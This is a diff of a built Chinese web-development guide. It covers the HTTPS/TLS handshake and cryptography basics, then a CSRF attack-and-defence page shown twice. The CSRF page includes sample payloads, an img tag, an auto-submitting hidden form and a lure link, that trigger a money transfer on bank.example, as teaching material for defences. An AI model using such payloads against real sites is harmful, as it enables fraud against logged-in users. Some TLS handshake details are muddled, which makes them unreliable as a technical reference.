                                  • 如果不一致,则证书非法,即公钥非法(如果证书不受信任,则会提示用户证书存在问题)
                                • 如果证书受信任,客户端会根据两个 pubkey 随机数生成一串随机数的密钥记为 Pre-Master 随机数,并利用两次 Hello 报文产生的两个随机数 Random1 和 Random2,利用对称密钥生成算法生成对称密钥 enc_key = Func(Random1, Random2, Pre-Master)(即消息鉴别码:即用于终端数据交互的对称密钥),并用证书中提供的服务端公钥加密该随机数
                                • 传送加密信息:使用约定好的 HASH 算法计算握手信息,并使用对称密钥对消息进行加密,最后将之前生成的所有信息发送给服务端
                              • Change Cipher Spec:该报文通知服务端,此后的通信都将使用协商好的加密算法计算对称密钥进行加密通信(也就是使用两个随机数以及第三个 Pre-master key/secret 随机数一起算出一个对称密钥 session key/secret
                              • Finished 报文:该报文包括连接至此的所有报文的校验值,使用服务端公钥进行加密
                              • 可选:ClientCertificate 报文:如果服务端请求,客户端需要发送 CA 数字证书
                              • 可选:CertificateVerify 报文:服务端如果要求 CA 数字证书,那么需要通过 HASH 算法计算一个服务端发送来的信息摘要
                            4. Server Finish:使用私钥将信息解密取出密钥,使用密钥解密客户端发来的握手信息,并验证 HASH 是否与浏览器发来的一致

                              • New Session Ticket:服务端最后对客户端发送过来的 Finished 报文使用服务端私钥进行解密校验
                              • Change Cipher Spec:报文通知服务端,此后的通信都将使用协商好的加密算法计算对称密钥 session key/secret 进行加密通信
                              • Finished 报文:标志 TLS 连接建立成功
                            5. 浏览器解密并计算握手信息的 Hash,如果与服务端发来的 Hash 一致,此时握手过程结束,之后所有的通信数据将由之前客户端生成的对称密钥并利用堆成加密算法进行加密

                            这里客户端与服务端互相发送加密的握手消息并验证,目的是为了保证双方都获得了一致的密码,并且可以正常的加密解密数据,为后续真正数据的传输做一次测试。

                            客户端取出提前内置在手机内部的认证机构的公钥

                            1. 用认证机构的公钥去解密公钥证书里的数字签名 从而得到数字指纹
                            2. 客户端对公钥证书的服务器公钥进行 数字摘要算法 从而生成数字指纹
                            3. 对比客户端自己生成的数字指纹(第 3 步)和解密得到的数字指纹(第 2 步)是否一致 如果一致则公钥证书验证通过 就可以进行接下来的握手步骤了
                            • Client Hello 包含域名的信息是比较特别的,因为域名是工作在应用层 HTTP 里的,而握手是发生在 TLS 还在传输层。在传输层里面就把域名信息告诉服务端,好让服务器根据域名发送相应的证书。

                            相关算法

                            散列函数

                            常见的散列函数 Hash 算法:MD5SHA1SHA256

                            散列函数特点是函数单向不可逆转、对输入非常敏感、输出长度固定,针对数据的任何修改都会改变散列函数的结果,用于防止信息篡改验证数据的完整性

                            在信息传递过程中,散列函数不能单独实现信息信息防篡改,因为明文传输,中间人可以修改信息之后重新计算信息摘要,因此需要对传输的信息以及信息摘要进行加密。

                            对称加密

                            常见的对称加密算法:AES-CBCDES3DESRC4

                            相同的密钥可以用于信息的加密和解密,掌握密钥才能获取信息,能够防止信息窃听,通信方式是 1 对 1。

                            对称加密的优势是信息传输 1 对 1,需要共享相同的密码,密码的安全是保证信息安全的基础,服务器和 N 个客户端通信,需要维持 N 个密码记录,且缺少修改密码的机制。

                            非对称加密

                            常见非对称加密算法:RSA、DSA / DSS

                            密钥成对出现,一般称为公钥(公开)和私钥(保密),公钥加密的信息只能私钥解开,私钥加密的信息只能公钥解开。因此掌握公钥的不同客户端之间不能互相解密信息,只能和掌握私钥的服务器进行加密通信,服务器可以实现 1 对 N 的通信,客户端也可以用来验证掌握私钥的服务器身份。

                            非对称加密的特点是 1 对多,服务器只需要维持一个私钥就能够和多个客户端进行加密通信,但服务器发出的信息能够被所有的客户端解密,且该算法的计算复杂,加密速度慢。

                            通信协议对比

                            HTTP 协议和 HTTPS 协议的区别

                            区别HTTPHTTPS
                            协议运行在 TCP 之上,明文传输,客户端与服务端都无法验证通信双方的身份基于 SSL 的 HTTP,运行于 SSL 之上,SSL 运行于 TCP 之上,是添加了加密和认证机制的 HTTP
                            端口80443
                            资源消耗较少由于加密处理,会消耗更多 CPU 和内存资源
                            开销无需证书需要 CA 证书,而证书一般需要向认证机构购买
                            加密机制共享密钥加密和公开密钥加密并用的混合加密机制
                            安全性由于加密机制,安全性强

                            HTTPS 主要作用

                            • 对数据进行加密,并建立一个信息安全通道,来保证传输过程中的数据安全
                            • 对网站服务器进行真实身份认证

                            参考资料

                            - + diff --git a/computer-networks/http/index.html b/computer-networks/http/index.html index 3efe778b8..f5796b6c6 100644 --- a/computer-networks/http/index.html +++ b/computer-networks/http/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/computer-networks/index.html b/computer-networks/index.html index 82a469288..74d4fea25 100644 --- a/computer-networks/index.html +++ b/computer-networks/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 计算机网络 - JavaScript Guidebook -
                            +
                            - + diff --git a/computer-networks/web-security/csrf/index.html b/computer-networks/web-security/csrf/index.html index 22205bc56..93e7e332d 100644 --- a/computer-networks/web-security/csrf/index.html +++ b/computer-networks/web-security/csrf/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + CSRF 跨站请求伪造攻击 - JavaScript Guidebook -

                            CSRF 跨站请求伪造攻击

                            跨站请求伪造(Cross-site Request Forgery,简称 CSRF)是一种挟制用户在当前已登录的 Web 页面上执行非本意的操作的攻击方法。

                            CSRF 攻击的本质是利用 cookie 会在同源请求中携带发送给服务器的特点,以此来实现用户的冒充。

                            XSS 相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

                            攻击手段

                            CSRF 漏洞即利用网站权限校验漏洞在用户不知觉情况下发送请求,达到 伪装 用户的目的。

                            典型的 CSRF 攻击有着如下的流程:

                            1. 受害者登录 a.com,并保留了登录凭证 Cookie
                            2. 攻击者 引诱 受害者访问了 b.com
                            3. b.coma.com 发送了一个请求:a.com/act=xx,浏览器会默认携带 a.com 的 Cookie
                            4. a.com 接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求
                            5. a.com 以受害者的名义执行了 act=xxx
                            6. 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让 a.com 执行了自己定义的操作

                            攻击者利用 CSRF 实现的攻击主要方式:

                            • 攻击者能够欺骗受害用户完成该受害者所允许的任一状态改变的操作
                              • 如:更新账号信息、完成购物、注销甚至登陆等操作
                            • 获取用户的隐私数据
                            • CSRF 蠕虫
                            • 配合其他漏洞攻击

                            GET 类型

                            在受害者访问含有这个 img 的页面后,浏览器会自动向 http://bank.example/transfer?account=xiaoming&amount=10000&for=hacker 发出一次 HTTP 请求。bank.example 就会收到包含受害者登录信息的一次跨域请求。

                            <img src="http://bank.example/transfer?amount=10000&for=hacker" />

                            POST 类型

                            这种类型的 CSRF 利用起来通常使用的是一个自动提交的表单,如:

                            <form action="http://bank.example/transfer" method="POST">
                            <input type="hidden" name="account" value="xiaoming" />
                            <input type="hidden" name="amount" value="10000" />
                            <input type="hidden" name="for" value="hacker" />
                            </form>
                            <script>
                            document.forms[0].submit();
                            </script>

                            访问该页面后,表单会自动提交,相当于模拟用户完成了一次 POST 操作。

                            POST 类型的攻击通常比 GET 要求更加严格一点,但仍并不复杂。任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅允许 POST 上面。

                            链接类型

                            链接类型的 CSRF 并不常见,比起其他两种用户打开页面就中招的情况,这种 需要用户点击链接 才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击,例如:

                            <a href="http://test.com/csrf/transfer.php?amount=1000&for=hacker" taget="_blank">重磅消息!!</a>

                            由于之前用户登录了信任的网站,并且保存登录状态,只要用户主动访问上面的这个 PHP 页面,则表示攻击成功。

                            攻击特点

                            • 攻击 一般发起在第三方网站,而不是被攻击的网站,被攻击的网站无法防止攻击发生
                            • 攻击 利用受害者被攻击网站的登录凭证,冒充受害者提交操作,而不是直接窃取数据
                            • 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是 冒用
                            • 跨站请求可以用各种方式:图片 URL、超链接、CORS、Form 表单提交等等,部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪

                            对于服务器返回的结果,由于浏览器 同源策略 的限制,黑客也无法进行解析。因此,黑客无法从返回的结果中得到任何东西,他所能做的就是给服务器发送请求,以执行请求中所描述的命令,在服务器端直接改变数据的值,而非窃取服务器中的数据。所以,我们要保护的对象是那些可以直接产生数据改变的服务,而对于读取数据的服务,则不需要进行 CSRF 的保护。比如银行系统中转账的请求会直接改变账户的金额,会遭到 CSRF 攻击,需要保护。而查询金额是对金额的读取操作,不会改变数据,CSRF 攻击无法解析服务器返回的结果,无需保护。

                            防御策略

                            CSRF 通常从第三方网站发起,被攻击网站无法防止攻击发生,只能通过增强自己网站针对 CSRF 的防护能力来提升安全性。

                            上文中讲了 CSRF 的两个特点:

                            • CSRF(通常)发生在第三方域名
                            • CSRF 攻击者不能获取到 Cookie 等信息,只能冒用

                            防御思路

                            防御思路:

                            1. 我们能不能 区分 一个请求是来自于自己的前端页面,还是第三方的网站?
                            2. 怎么让自己的前端页面和伪造的请求变得 不一样 呢?

                            针对 CSRF 的特点制定防护策略:

                            • 阻止不明外域访问
                              • 同源检测机制:服务器通过请求头附带的 OriginReferer 字段确定请求的来源域
                              • Samesite Cookie
                            • 提交时要求附加本域才能获取的信息
                              • CSRF Token
                              • 双重 Cookie 验证
                            • 保证网络请求由真实用户发出
                              • 用户操作限制(验证码)

                            同源检测机制

                            既然 CSRF 大多来自第三方网站,那么我们就直接禁止外域(或者不受信任的域名)对我们发起请求。

                            在 HTTP 协议中,每个一部请求都会携带两个 Header,用于标记来源域名:

                            • Origin Header
                            • Referrer Header

                            这两个 Header 在浏览器发起请求时,大多数情况会自动带上,并且不能由前端自定义内容。服务器可以通过解析这两个 Header 中的域名,确定请求的来源域。

                            Origin

                            使用 Origin Header 确定来源域名。

                            在部分与 CSRF 有关的请求中,请求的 Header 中会携带 Origin 字段。字段内包含请求的域名,不包含 pathquery 部分。

                            Origin: http://foo.example

                            如果 Origin 存在,那么直接使用 Origin 中的字段确认来源域名就可以。

                            但是 Origin 在以下两种情况下并不存在:

                            • IE11 同源策略:IE11 不会在跨站 CORS 请求上添加 Origin 标头,Referrer 头仍然是唯一的标识。最根本原因是因为 IE11 对同源的定义和其他浏览器不同,有两个主要的区别,可以参考 MDN Same-origin_policy#IE_Exceptions
                            • 302 重定向:在 302 重定向之后 Origin 不包含在重定向的请求中,因为 Origin 可能会被认为是其他来源的敏感信息。对于 302 重定向的情况来说都是定向在新的服务器上的 URL,因此浏览器不想将 Origin 泄漏到新的服务器上。

                            Referrer

                            根据 HTTP 协议,在 HTTP 头中有一个字段叫 referrer,记录了该 HTTP 请求的来源地址。

                            • 对于 Ajax 请求,图片和脚本文件等资源请求,referrer 为发起请求的页面地址。
                            • 对于页面跳转,referrer 为打开页面历史记录的前一页面地址。

                            因此我们使用 Referrer 中链接的 Origin 部分可以得到 请求的来源域名

                            这种方法并非万无一失,referrer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 referrer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 referrer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不是很安全。在部分情况下,攻击者可以隐藏,甚至修改自己请求的 referrer

                            新版 Referrer Policy 规定了五种 Referrer 策略:

                            • No Referrer:no-referrer
                            • No Referrer When Downgrade:no-referrer-when-downgrade
                            • Origin Only:origin
                            • Origin When Cross-orgin:origin-when-crossorigin
                            • Unsafe URL:unsafe-url

                            使用 Referer Policy 的方式

                            1. CSP 响应头,通过 referrer 指令和五种可选的指令值,来指定 Referrer 策略
                            Content-Security-Policy: referrer no-referrer | no-referrer-when-downgrade | origin | origin-when-cross-origin | unsafe-url;
                            1. <meta> 元数据标签也可以指定 Referrer 策略
                            <!-- 在任何情况下,仅发送文件的源作为引用地址 -->
                            <meta name="referrer" content="origin" />
                            1. 外链标签中的 referrer 属性

                            或者用 <a><area><img><iframe><script> 或者 <link> 标签元素上的 referrerpolicy 属性为其设置独立的请求策略。

                            <a href="http://example.com" referrerpolicy="origin"></a>

                            另外也可以在 <a><area> 或者 <link> 元素上将 rel 属性设置为 noreferrer

                            <a href="http://example.com" referrer="no-referrer|origin|unsafe-url">xxx</a>

                            这种方式作用的只是这一个链接。并且,<a> 标签可用的 Referrer 策略只有三种:不传、只传 host 和都传。另外,这样针对单个链接设置的策略优先级比 CSP 和 <meta> 要高。

                            当 Origin 和 Referrer 头文件不存在时该怎么办?如果 Origin 和 Referrer 都不存在,建议直接进行阻止,特别是如果您没有使用随机 CSRF Token 作为第二次检查。

                            Cookie 的 SameSite 属性能用于限制第三方 Cookie,从而减少安全风险。

                            Set-Cookie: CookieName=CookieValue; SameSite=Lax;

                            可取值:

                            • Strict:完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie
                            • Lax:大多数情况不发送第三方 Cookie,但是导航到目标网站的 GET 请求除外(导航到目标网址的 GET 请求:链接、预加载请求和 GET 表单)
                            • None

                            CSRF Token

                            前面讲到 CSRF 的另一个特征是,攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用 Cookie 中的信息。而 CSRF 攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么我们可以要求所有的用户请求都携带一个 CSRF 攻击者无法获取到的 Token。服务器通过校验请求是否携带正确的 Token,来把正常的请求和攻击的请求区分开,也可以防范 CSRF 的攻击。

                            步骤:

                            1. 用户使用用户名密码登陆,服务端下发一个 随机的 Token 字段,并且服务端把这个字段保存在 Session 中
                            2. 客户端把这个 Token 保存起来,放到隐藏字段
                            3. 用户在登录状态下,在之后访问的时候,都要携带这个 Token 字段
                            4. 服务端从 Session 中拿出 Token 值进行对比,如果一致,说明请求合法
                            5. 用户推出,Session 销毁,Token 失效

                            实现原理

                            CSRF Token 的防护策略分为三个步骤:

                            1. 将 CSRF Token 输出到页面中

                            首先,用户打开页面的时候,服务器需要给这个用户生成一个 Token,该 Token 通过加密算法对数据进行加密,一般 Token 都包括随机字符串和时间戳的组合,显然在提交时 Token 不能再放在 Cookie 中了,否则又会被攻击者冒用。因此,为了安全起见 Token 最好还是存在服务器的 Session 中,之后在每次页面加载时,使用 JS 遍历整个 DOM 树,对于 DOM 中所有的 <a><form> 标签后加入 Token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 HTML 代码,这种方法就没有作用,还需要开发者在编码时手动添加 Token

                            1. 页面提交的请求携带这个 Token

                            对于 GET 请求,Token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上:

                            <input type="”hidden”" name="”csrftoken”" value="”tokenvalue”" />
                            1. 服务器验证 Token 是否正确

                            当用户从客户端得到了 token,再次提交给服务器的时候,服务器需要判断 token 的有效性,验证过程是先解密 token,对比加密字符串以及时间戳,如果加密字符串一致且时间未过期,那么这个 Token 就是有效的。

                            这种方法要比之前检查 referer 或者 origin 要安全一些,token 可以在产生并放于 Session 之中,然后在每次请求时把 token 从 Session 中拿出,与请求中的 token 进行比对,但这种方法的比较麻烦的在于如何把 token 以参数的形式加入请求。

                            分布式校验

                            在大型网站中,使用 Session 存储 CSRF Token 会带来很大的压力。访问单台服务器 session 是同一个。但是现在的大型网站中,我们的服务器通常不止一台,可能是几十台甚至几百台之多,甚至多个机房都可能在不同的省份,用户发起的 HTTP 请求通常要经过像 Ngnix 之类的负载均衡器之后,再路由到具体的服务器上,由于 Session 默认存储在单机服务器内存中,因此在分布式环境下同一个用户发送的多次 HTTP 请求可能会先后落到不同的服务器上,导致后面发起的 HTTP 请求无法拿到之前的 HTTP 请求存储在服务器中的 Session 数据,从而使得 Session 机制在分布式环境下失效,因此在分布式集群中 CSRF Token 需要存储在 Redis 之类的公共存储空间。

                            由于使用 Session 存储,读取和验证 CSRF Token 会引起比较大的复杂度和性能问题,目前很多网站采用 Encrypted Token Pattern 方式。这种方法的 Token 是一个计算出来的结果,而非随机生成的字符串。这样在校验时无需再去读取存储的 Token,只用再次计算一次即可。

                            这种 Token 的值通常是使用 UserID、时间戳和随机数,通过加密的方法生成。这样既可以保证分布式服务的 Token 一致,又能保证 Token 不容易被破解。

                            在 Token 解密成功之后,服务器可以访问解析值,Token 中包含的 UserID 和时间戳将会被拿来被验证有效性,将 UserID 与当前登录的 UserID 进行比较,并将时间戳与当前时间进行比较。

                            指在请求借口时,除了常规带上 Cookie 中的用户凭证信息,如 session_id 外,还把 Cookie 中的用户凭证信息读出来附在接口请求参数重;这种方案对比 CSRF Token 方案来说,好在不需要生成额外得 Token,也同样能够起到防御 CSRF 攻击的效果。

                            流程:

                            • 在用户访问网站页面时,向请求域名注入一个 Cookie,内容为随机字符串(例如 csrfcookie=v8g9e4ksfhw);
                            • 在前端向后端发起请求时,取出 Cookie,并添加到 URL 的参数中(接上例 POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw);
                            • 后端接口验证 Cookie 中的字段与 URL 参数中的字段是否一致,不一致则拒绝。

                            此方法相对于 CSRF Token 就简单了许多。可以直接通过前后端拦截的的方法自动化实现。后端校验也更加方便,只需进行请求中字段的对比,而不需要再进行查询和存储 Token。

                            当然,此方法并没有大规模应用,其在大型网站上的安全性还是没有 CSRF Token 高,原因我们举例进行说明。

                            由于任何跨域都会导致前端无法获取 Cookie 中的字段(包括子域名之间),于是发生了如下情况:

                            • 如果用户访问的网站为 www.a.com,而后端的 API 域名为 api.a.com。那么在 www.a.com 下,前端拿不到 api.a.com 的 Cookie,也就无法完成双重 Cookie 认证。
                            • 于是这个认证 Cookie 必须被种在 a.com 下,这样每个子域都可以访问。
                            • 任何一个子域都可以修改 a.com 下的 Cookie。
                            • 某个子域名存在漏洞被 XSS 攻击(例如 upload.a.com)。虽然这个子域下并没有什么值得窃取的信息。但攻击者修改了 a.com 下的 Cookie。
                            • 攻击者可以直接使用自己配置的 Cookie,对 XSS 中招的用户再向 www.a.com 下,发起 CSRF 攻击。

                            用户操作限制

                            CSRF 攻击过程中,用户是在不知情的情况下构造了网络请求,因此添加验证码能强制用户必须与应用进行交互,服务器通过验证码来识别是不是用户主动发送的请求,由于一定强度的验证码机器无法识别,因此危险网站不能伪造一个完整的请求。

                            • 优点:简洁有效,低成本
                            • 缺点:对用户不友好,无法给所有的操作都加上验证码

                            参考资料

                            +

                            CSRF 跨站请求伪造攻击

                            跨站请求伪造(Cross-site Request Forgery,简称 CSRF)是一种挟制用户在当前已登录的 Web 页面上执行非本意的操作的攻击方法。

                            CSRF 攻击的本质是利用 cookie 会在同源请求中携带发送给服务器的特点,以此来实现用户的冒充。

                            XSS 相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

                            攻击手段

                            CSRF 漏洞即利用网站权限校验漏洞在用户不知觉情况下发送请求,达到 伪装 用户的目的。

                            典型的 CSRF 攻击有着如下的流程:

                            1. 受害者登录 a.com,并保留了登录凭证 Cookie
                            2. 攻击者 引诱 受害者访问了 b.com
                            3. b.coma.com 发送了一个请求:a.com/act=xx,浏览器会默认携带 a.com 的 Cookie
                            4. a.com 接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求
                            5. a.com 以受害者的名义执行了 act=xxx
                            6. 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让 a.com 执行了自己定义的操作

                            攻击者利用 CSRF 实现的攻击主要方式:

                            • 攻击者能够欺骗受害用户完成该受害者所允许的任一状态改变的操作
                              • 如:更新账号信息、完成购物、注销甚至登陆等操作
                            • 获取用户的隐私数据
                            • CSRF 蠕虫
                            • 配合其他漏洞攻击

                            GET 类型

                            在受害者访问含有这个 img 的页面后,浏览器会自动向 http://bank.example/transfer?account=xiaoming&amount=10000&for=hacker 发出一次 HTTP 请求。bank.example 就会收到包含受害者登录信息的一次跨域请求。

                            <img src="http://bank.example/transfer?amount=10000&for=hacker" />

                            POST 类型

                            这种类型的 CSRF 利用起来通常使用的是一个自动提交的表单,如:

                            <form action="http://bank.example/transfer" method="POST">
                            <input type="hidden" name="account" value="xiaoming" />
                            <input type="hidden" name="amount" value="10000" />
                            <input type="hidden" name="for" value="hacker" />
                            </form>
                            <script>
                            document.forms[0].submit();
                            </script>

                            访问该页面后,表单会自动提交,相当于模拟用户完成了一次 POST 操作。

                            POST 类型的攻击通常比 GET 要求更加严格一点,但仍并不复杂。任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅允许 POST 上面。

                            链接类型

                            链接类型的 CSRF 并不常见,比起其他两种用户打开页面就中招的情况,这种 需要用户点击链接 才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击,例如:

                            <a href="http://test.com/csrf/transfer.php?amount=1000&for=hacker" taget="_blank">重磅消息!!</a>

                            由于之前用户登录了信任的网站,并且保存登录状态,只要用户主动访问上面的这个 PHP 页面,则表示攻击成功。

                            攻击特点

                            • 攻击 一般发起在第三方网站,而不是被攻击的网站,被攻击的网站无法防止攻击发生
                            • 攻击 利用受害者被攻击网站的登录凭证,冒充受害者提交操作,而不是直接窃取数据
                            • 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是 冒用
                            • 跨站请求可以用各种方式:图片 URL、超链接、CORS、Form 表单提交等等,部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪

                            对于服务器返回的结果,由于浏览器 同源策略 的限制,黑客也无法进行解析。因此,黑客无法从返回的结果中得到任何东西,他所能做的就是给服务器发送请求,以执行请求中所描述的命令,在服务器端直接改变数据的值,而非窃取服务器中的数据。所以,我们要保护的对象是那些可以直接产生数据改变的服务,而对于读取数据的服务,则不需要进行 CSRF 的保护。比如银行系统中转账的请求会直接改变账户的金额,会遭到 CSRF 攻击,需要保护。而查询金额是对金额的读取操作,不会改变数据,CSRF 攻击无法解析服务器返回的结果,无需保护。

                            防御策略

                            CSRF 通常从第三方网站发起,被攻击网站无法防止攻击发生,只能通过增强自己网站针对 CSRF 的防护能力来提升安全性。

                            上文中讲了 CSRF 的两个特点:

                            • CSRF(通常)发生在第三方域名
                            • CSRF 攻击者不能获取到 Cookie 等信息,只能冒用

                            防御思路

                            防御思路:

                            1. 我们能不能 区分 一个请求是来自于自己的前端页面,还是第三方的网站?
                            2. 怎么让自己的前端页面和伪造的请求变得 不一样 呢?

                            针对 CSRF 的特点制定防护策略:

                            • 阻止不明外域访问
                              • 同源检测机制:服务器通过请求头附带的 OriginReferer 字段确定请求的来源域
                              • Samesite Cookie
                            • 提交时要求附加本域才能获取的信息
                              • CSRF Token
                              • 双重 Cookie 验证
                            • 保证网络请求由真实用户发出
                              • 用户操作限制(验证码)

                            同源检测机制

                            既然 CSRF 大多来自第三方网站,那么我们就直接禁止外域(或者不受信任的域名)对我们发起请求。

                            在 HTTP 协议中,每个一部请求都会携带两个 Header,用于标记来源域名:

                            • Origin Header
                            • Referrer Header

                            这两个 Header 在浏览器发起请求时,大多数情况会自动带上,并且不能由前端自定义内容。服务器可以通过解析这两个 Header 中的域名,确定请求的来源域。

                            Origin

                            使用 Origin Header 确定来源域名。

                            在部分与 CSRF 有关的请求中,请求的 Header 中会携带 Origin 字段。字段内包含请求的域名,不包含 pathquery 部分。

                            Origin: http://foo.example

                            如果 Origin 存在,那么直接使用 Origin 中的字段确认来源域名就可以。

                            但是 Origin 在以下两种情况下并不存在:

                            • IE11 同源策略:IE11 不会在跨站 CORS 请求上添加 Origin 标头,Referrer 头仍然是唯一的标识。最根本原因是因为 IE11 对同源的定义和其他浏览器不同,有两个主要的区别,可以参考 MDN Same-origin_policy#IE_Exceptions
                            • 302 重定向:在 302 重定向之后 Origin 不包含在重定向的请求中,因为 Origin 可能会被认为是其他来源的敏感信息。对于 302 重定向的情况来说都是定向在新的服务器上的 URL,因此浏览器不想将 Origin 泄漏到新的服务器上。

                            Referrer

                            根据 HTTP 协议,在 HTTP 头中有一个字段叫 referrer,记录了该 HTTP 请求的来源地址。

                            • 对于 Ajax 请求,图片和脚本文件等资源请求,referrer 为发起请求的页面地址。
                            • 对于页面跳转,referrer 为打开页面历史记录的前一页面地址。

                            因此我们使用 Referrer 中链接的 Origin 部分可以得到 请求的来源域名

                            这种方法并非万无一失,referrer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 referrer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 referrer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不是很安全。在部分情况下,攻击者可以隐藏,甚至修改自己请求的 referrer

                            新版 Referrer Policy 规定了五种 Referrer 策略:

                            • No Referrer:no-referrer
                            • No Referrer When Downgrade:no-referrer-when-downgrade
                            • Origin Only:origin
                            • Origin When Cross-orgin:origin-when-crossorigin
                            • Unsafe URL:unsafe-url

                            使用 Referer Policy 的方式

                            1. CSP 响应头,通过 referrer 指令和五种可选的指令值,来指定 Referrer 策略
                            Content-Security-Policy: referrer no-referrer | no-referrer-when-downgrade | origin | origin-when-cross-origin | unsafe-url;
                            1. <meta> 元数据标签也可以指定 Referrer 策略
                            <!-- 在任何情况下,仅发送文件的源作为引用地址 -->
                            <meta name="referrer" content="origin" />
                            1. 外链标签中的 referrer 属性

                            或者用 <a><area><img><iframe><script> 或者 <link> 标签元素上的 referrerpolicy 属性为其设置独立的请求策略。

                            <a href="http://example.com" referrerpolicy="origin"></a>

                            另外也可以在 <a><area> 或者 <link> 元素上将 rel 属性设置为 noreferrer

                            <a href="http://example.com" referrer="no-referrer|origin|unsafe-url">xxx</a>

                            这种方式作用的只是这一个链接。并且,<a> 标签可用的 Referrer 策略只有三种:不传、只传 host 和都传。另外,这样针对单个链接设置的策略优先级比 CSP 和 <meta> 要高。

                            当 Origin 和 Referrer 头文件不存在时该怎么办?如果 Origin 和 Referrer 都不存在,建议直接进行阻止,特别是如果您没有使用随机 CSRF Token 作为第二次检查。

                            Cookie 的 SameSite 属性能用于限制第三方 Cookie,从而减少安全风险。

                            Set-Cookie: CookieName=CookieValue; SameSite=Lax;

                            可取值:

                            • Strict:完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie
                            • Lax:大多数情况不发送第三方 Cookie,但是导航到目标网站的 GET 请求除外(导航到目标网址的 GET 请求:链接、预加载请求和 GET 表单)
                            • None

                            CSRF Token

                            前面讲到 CSRF 的另一个特征是,攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用 Cookie 中的信息。而 CSRF 攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么我们可以要求所有的用户请求都携带一个 CSRF 攻击者无法获取到的 Token。服务器通过校验请求是否携带正确的 Token,来把正常的请求和攻击的请求区分开,也可以防范 CSRF 的攻击。

                            步骤:

                            1. 用户使用用户名密码登陆,服务端下发一个 随机的 Token 字段,并且服务端把这个字段保存在 Session 中
                            2. 客户端把这个 Token 保存起来,放到隐藏字段
                            3. 用户在登录状态下,在之后访问的时候,都要携带这个 Token 字段
                            4. 服务端从 Session 中拿出 Token 值进行对比,如果一致,说明请求合法
                            5. 用户推出,Session 销毁,Token 失效

                            实现原理

                            CSRF Token 的防护策略分为三个步骤:

                            1. 将 CSRF Token 输出到页面中

                            首先,用户打开页面的时候,服务器需要给这个用户生成一个 Token,该 Token 通过加密算法对数据进行加密,一般 Token 都包括随机字符串和时间戳的组合,显然在提交时 Token 不能再放在 Cookie 中了,否则又会被攻击者冒用。因此,为了安全起见 Token 最好还是存在服务器的 Session 中,之后在每次页面加载时,使用 JS 遍历整个 DOM 树,对于 DOM 中所有的 <a><form> 标签后加入 Token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 HTML 代码,这种方法就没有作用,还需要开发者在编码时手动添加 Token

                            1. 页面提交的请求携带这个 Token

                            对于 GET 请求,Token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上:

                            <input type="”hidden”" name="”csrftoken”" value="”tokenvalue”" />
                            1. 服务器验证 Token 是否正确

                            当用户从客户端得到了 token,再次提交给服务器的时候,服务器需要判断 token 的有效性,验证过程是先解密 token,对比加密字符串以及时间戳,如果加密字符串一致且时间未过期,那么这个 Token 就是有效的。

                            这种方法要比之前检查 referer 或者 origin 要安全一些,token 可以在产生并放于 Session 之中,然后在每次请求时把 token 从 Session 中拿出,与请求中的 token 进行比对,但这种方法的比较麻烦的在于如何把 token 以参数的形式加入请求。

                            分布式校验

                            在大型网站中,使用 Session 存储 CSRF Token 会带来很大的压力。访问单台服务器 session 是同一个。但是现在的大型网站中,我们的服务器通常不止一台,可能是几十台甚至几百台之多,甚至多个机房都可能在不同的省份,用户发起的 HTTP 请求通常要经过像 Ngnix 之类的负载均衡器之后,再路由到具体的服务器上,由于 Session 默认存储在单机服务器内存中,因此在分布式环境下同一个用户发送的多次 HTTP 请求可能会先后落到不同的服务器上,导致后面发起的 HTTP 请求无法拿到之前的 HTTP 请求存储在服务器中的 Session 数据,从而使得 Session 机制在分布式环境下失效,因此在分布式集群中 CSRF Token 需要存储在 Redis 之类的公共存储空间。

